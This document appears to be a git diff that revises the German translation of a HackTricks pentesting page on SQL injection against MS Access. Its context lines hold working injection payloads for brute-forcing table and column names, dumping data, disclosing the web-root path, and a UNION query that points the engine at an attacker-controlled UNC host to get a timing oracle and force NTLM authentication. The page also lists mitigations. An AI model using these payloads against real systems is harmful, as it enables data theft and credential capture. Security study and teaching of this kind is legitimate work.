a/src/pentesting-web/sql-injection/ms-access-sql-injection.md b/src/pentesting-web/sql-injection/ms-access-sql-injection.md index 0ba49958c..920786ea3 100644 --- a/src/pentesting-web/sql-injection/ms-access-sql-injection.md +++ b/src/pentesting-web/sql-injection/ms-access-sql-injection.md @@ -62,7 +62,7 @@ Wenn Sie den **Namen der Tabelle** und **Spalte** kennen, die Sie dumpen möchte ``` _Fühlen Sie sich frei, dies im Online-Spielplatz zu überprüfen._ -### Brute-Forcing Tabellennamen +### Brute-Forcing von Tabellennamen Mit der Technik des verknüpften Gleichheitszeichens können Sie auch **Tabellennamen bruteforcen** mit etwas wie: ```sql @@ -79,7 +79,7 @@ _Fühlen Sie sich frei, dies im Online-Spielplatz zu überprüfen._ ### Brute-Forcing von Spaltennamen -Sie können **aktuelle Spaltennamen brute-forcen** mit dem Chaining-Equals-Trick mit: +Sie können **aktuelle Spaltennamen brute-forcen** mit dem Ketten-Equals-Trick mit: ```sql '=column_name=' ``` @@ -95,7 +95,7 @@ Oder Sie können die Spaltennamen einer **anderen Tabelle** mit folgender Method ``` ### Daten dumpen -Wir haben bereits die [**Chaining Equals Technik**](ms-access-sql-injection.md#chaining-equals-+-substring) **zum Dumpen von Daten aus der aktuellen und anderen Tabellen** besprochen. Aber es gibt auch andere Möglichkeiten: +Wir haben bereits die [**Chaining Equals Technik**](ms-access-sql-injection.md#chaining-equals-+-substring) **besprochen, um Daten aus der aktuellen und anderen Tabellen zu dumpen**. Aber es gibt auch andere Möglichkeiten: ```sql IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko') ``` @@ -103,7 +103,7 @@ In einer Nussschale verwendet die Abfrage eine "if-then"-Anweisung, um im Erfolg ### Zeitbasierte (Blind) Tricks -Jet/ACE SQL selbst bietet **keine** native `SLEEP()`- oder `WAITFOR`-Funktion, sodass traditionelle zeitbasierte Blind-Injektionen eingeschränkt sind. Sie können jedoch immer noch eine messbare Verzögerung einführen, indem Sie die Engine zwingen, auf eine **Netzwerkressource zuzugreifen, die langsam ist oder nicht antwortet**. Da die Engine versucht, die Datei zu öffnen, bevor sie das Ergebnis zurückgibt, spiegelt die HTTP-Antwortzeit die Hin- und Rücklatenz zur vom Angreifer kontrollierten Host wider. +Jet/ACE SQL selbst bietet **keine** native `SLEEP()`- oder `WAITFOR`-Funktion, sodass traditionelle zeitbasierte Blind-Injektionen eingeschränkt sind. Sie können jedoch immer noch eine messbare Verzögerung einführen, indem Sie die Engine zwingen, auf eine **Netzwerkressource zuzugreifen, die langsam ist oder nicht antwortet**. Da die Engine versucht, die Datei zu öffnen, bevor sie das Ergebnis zurückgibt, spiegelt die HTTP-Antwortzeit die Rundlaufverzögerung zum vom Angreifer kontrollierten Host wider. ```sql ' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'-- ``` @@ -113,7 +113,7 @@ Zeigen Sie den UNC-Pfad auf: * einen Host, der das TCP-Handshake nach `SYN-ACK` abbricht * ein Firewall-Sinkhole -Die zusätzlichen Sekunden, die durch die Remote-Abfrage eingeführt werden, können als **out-of-band Timing-Oracle** für boolesche Bedingungen verwendet werden (z. B. wählen Sie einen langsamen Pfad nur, wenn die injizierte Bedingung wahr ist). Microsoft dokumentiert das Verhalten der Remote-Datenbank und den zugehörigen Registry-Kill-Switch in KB5002984. citeturn1search0 +Die zusätzlichen Sekunden, die durch die Remote-Abfrage eingeführt werden, können als **out-of-band Timing-Orakel** für boolesche Bedingungen verwendet werden (z. B. wählen Sie einen langsamen Pfad nur, wenn die injizierte Bedingung wahr ist). Microsoft dokumentiert das Verhalten der Remote-Datenbank und den zugehörigen Registry-Kill-Switch in KB5002984. citeturn1search0 ### Andere interessante Funktionen @@ -140,13 +140,13 @@ Es ist jedoch zu beachten, dass es sehr typisch ist, SQL-Injection zu finden, wo ## Dateisystemzugriff -### Vollständiger Pfad zum Webstammverzeichnis +### Vollständiger Pfad des Web-Stammverzeichnisses -Das Wissen um den **absoluten Pfad des Webstamms kann weitere Angriffe erleichtern**. Wenn Anwendungsfehler nicht vollständig verborgen sind, kann der Verzeichnispfad aufgedeckt werden, indem versucht wird, Daten aus einer nicht vorhandenen Datenbank auszuwählen. +Das Wissen um den **absoluten Pfad des Web-Stammverzeichnisses kann weitere Angriffe erleichtern**. Wenn Anwendungsfehler nicht vollständig verborgen sind, kann der Verzeichnispfad aufgedeckt werden, indem versucht wird, Daten aus einer nicht vorhandenen Datenbank auszuwählen. `http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` -MS Access antwortet mit einer **Fehlermeldung, die den vollständigen Pfad des Webverzeichnisses enthält**. +MS Access antwortet mit einer **Fehlermeldung, die den vollständigen Pfad des Web-Verzeichnisses enthält**. ### Dateenumeration @@ -193,9 +193,9 @@ Mitigationen (empfohlen, auch für Legacy Classic ASP-Apps): * Fügen Sie den Registrierungswert `AllowQueryRemoteTables = 0` unter `HKLM\Software\Microsoft\Jet\4.0\Engines` (und unter dem entsprechenden ACE-Pfad) hinzu. Dies zwingt Jet/ACE, Remote-Pfade, die mit `\\` beginnen, abzulehnen. * Blockieren Sie ausgehendes SMB/WebDAV an der Netzwerkgrenze. -* Sanitieren / parameterisieren Sie jeden Teil einer Abfrage, der in einer `IN`-Klausel enden könnte. +* Sanitieren / Parameterisieren Sie jeden Teil einer Abfrage, der in einer `IN`-Klausel enden könnte. -Der Zwangs-Authentifizierungsvektor wurde 2023 von Check Point Research erneut untersucht und bewiesen, dass er auf vollständig gepatchten Windows-Servern weiterhin ausnutzbar ist, wenn der Registrierungswert fehlt. citeturn0search0 +Der Vektor der erzwungenen Authentifizierung wurde 2023 von Check Point Research erneut untersucht und bewies, dass er auf vollständig gepatchten Windows-Servern weiterhin ausnutzbar ist, wenn der Registrierungswert fehlt. citeturn0search0 ### .mdb Passwort-Cracker @@ -205,6 +205,6 @@ Der Zwangs-Authentifizierungsvektor wurde 2023 von Check Point Research erneut u - [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) - [Microsoft KB5002984 – Konfigurieren von Jet/ACE zum Blockieren von Remote-Tabellen](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544) -- [Check Point Research – Missbrauch von Microsoft Access verknüpften Tabellen für NTLM-Zwangs-Authentifizierung (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/) +- [Check Point Research – Missbrauch von Microsoft Access verknüpften Tabellen für NTLM erzwungene Authentifizierung (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/) {{#include ../../banners/hacktricks-training.md}}